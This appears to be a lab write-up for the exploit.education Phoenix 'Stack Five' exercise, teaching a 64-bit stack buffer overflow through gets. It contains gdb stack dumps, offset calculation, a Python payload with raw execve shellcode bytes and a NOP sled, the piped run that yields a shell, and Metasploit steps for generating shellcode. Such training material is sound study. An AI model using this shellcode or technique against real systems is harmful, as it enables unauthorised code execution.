exploit.education Phoenix - Stack 0x5
Write-up for: Stack Five
We will use this example as an intro to 64-bit exploitation (mostly because I failed the 32-bit version :P)
- Identify the vulnerability
The call to gets
in start_level
is not bounds-checked. Thus, we can overflow the buffer
variable by providing input longer than 128 bytes. The goal is to overwrite the stored return address and jump to our own shellcode.
- Plan of action
Since there is no ASLR and the stack is executable, our payload should look something like this on the stack:
[NOP sled]
[execve("/bin/dash") shellcode]
[NOP padding]
[Address of buffer to return to NOP sled]
- Exploit development
In order to exploit this bug, we must first find the address of the buffer and, more importantly, the offset of the return address. We’ll use gdb:
(gdb) disas main
Dump of assembler code for function main:
0x00000000004005a4 <+0>: push %rbp
0x00000000004005a5 <+1>: mov %rsp,%rbp
0x00000000004005a8 <+4>: sub $0x10,%rsp
0x00000000004005ac <+8>: mov %edi,-0x4(%rbp)
0x00000000004005af <+11>: mov %rsi,-0x10(%rbp)
0x00000000004005b3 <+15>: mov $0x400620,%edi
0x00000000004005b8 <+20>: callq 0x400400 <puts@plt>
0x00000000004005bd <+25>: mov $0x0,%eax
0x00000000004005c2 <+30>: callq 0x40058d <start_level>
0x00000000004005c7 <+35>: mov $0x0,%eax
To find the stack address of the stored return address we can set a breakpoint
in start_level
and inspect the stack. On the stack, we are looking for 4005c7
because this is where we will return to.
We can additionally provide some input to the program to find the address of the buffer
variable.
(gdb) break start_level
Breakpoint 1 at 0x400591
(gdb) disas start_level
Dump of assembler code for function start_level:
0x000000000040058d <+0>: push %rbp
0x000000000040058e <+1>: mov %rsp,%rbp
=> 0x0000000000400591 <+4>: add $0xffffffffffffff80,%rsp
0x0000000000400595 <+8>: lea -0x80(%rbp),%rax
0x0000000000400599 <+12>: mov %rax,%rdi
0x000000000040059c <+15>: callq 0x4003f0 <gets@plt>
0x00000000004005a1 <+20>: nop
0x00000000004005a2 <+21>: leaveq
0x00000000004005a3 <+22>: retq
End of assembler dump.
(gdb) break *start_level+20
Breakpoint 2 at 0x4005a1
(gdb) c
Continuing.
AAAAA
Breakpoint 2, 0x00000000004005a1 in start_level ()
(gdb) x/64xw $rsp
0x7fffffffe490: 0x41414141 0x00000041 0x00400620 0x00000000
0x7fffffffe4a0: 0x004005a4 0x00000000 0x00000000 0x00000000
0x7fffffffe4b0: 0x00000000 0x00000000 0xf7db6dde 0x00007fff
0x7fffffffe4c0: 0x004005a4 0x00000000 0x00680037 0x00000000
0x7fffffffe4d0: 0x00000000 0x00000000 0xf7db6b1e 0x00007fff
0x7fffffffe4e0: 0xf7ffb300 0x00007fff 0x00000000 0x0a000000
0x7fffffffe4f0: 0xf7ffb300 0x00007fff 0xf7db9934 0x00007fff
0x7fffffffe500: 0xffffe588 0x00007fff 0xffffe530 0x00007fff
0x7fffffffe510: 0xffffe530 0x00007fff 0x004005c7 0x00000000
0x7fffffffe520: 0xffffe588 0x00007fff 0x00000000 0x00000001
0x7fffffffe530: 0x00000001 0x00000000 0xf7d8fd62 0x00007fff
0x7fffffffe540: 0x00000000 0x00000000 0xffffe580 0x00007fff
0x7fffffffe550: 0x00000000 0x00000000 0xf7ffdbc8 0x00007fff
0x7fffffffe560: 0x00003e00 0x04000001 0x00400459 0x00000000
0x7fffffffe570: 0x00000000 0x00000000 0x00400436 0x00000000
0x7fffffffe580: 0x00000001 0x00000000 0xffffe7cc 0x00007fff
First, we break on start_level
to then disassemble the function to find the end of the function. Note that we could have directly disassembled the function saving us one breakpoint. We run the program with some valid input. Then we inspect the stack (note, it’s $rsp
instead of $esp
. We’re dealing with a 64-bit register now).
Inspecting the stack gives us the following data:
- buffer address: 0x7fffffffe490
- return address location: 0x7fffffffe518
- offset: 136
Using this information we can craft a payload:
buf = "\x90" * 20
buf += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
buf += "\x90"* (136 - len(buf)) + "\x7f\xff\xff\xff\xe4\xe0"[::-1]
print buf
The shellcode is from http://shell-storm.org/shellcode/files/shellcode-806.php
We start with a NOP sled to give us some flexibility with the exact location of the shellcode. Next, we place our shellcode in the buffer. This is what will be executed later. We fill the remaining space of the buffer with NOPs and overwrite the non-null part of the stored return address with what we believe is an address somewhere in our NOP sled.
It’s very important to note that the location of the stack might differ in gdb since it places additional environment variables before the stack. To emulate a more realistic execution environment, you can unset these variables in gdb before executing the program:
unset env LINES
unset env COLUMNS
See also: https://reverseengineering.stackexchange.com/questions/2995/illegal-instruction-exploiting-sample-buffer-overflow-code
Even then, some experimentation with the return address and the length of the NOP slide might be required.
Exploit
Now we are ready to run the exploit:
user@phoenix-amd64:/opt/phoenix/amd64$ python ~/stack-five.py > ~/stack-five
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-five < ~/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
user@phoenix-amd64:/opt/phoenix/amd64$
Nothing happened? The reason is that using input redirection with <
immediately terminates the program once the end of input is reached. Instead we need to pipe in the input with cat ~/stack-five - | ./stack-five
. The -
keeps stdin open.
user@phoenix-amd64:/opt/phoenix/amd64$ whoami
user
user@phoenix-amd64:/opt/phoenix/amd64$ cat ~/stack-five - | ./stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
whoami
phoenix-amd64-stack-five
We popped a shell! Awesome :)
Alternative, generate shellcode with metasploit
use payload/linux/x64/exec
info
set CMD /bin/sh
info
generate -b '\x00' -f python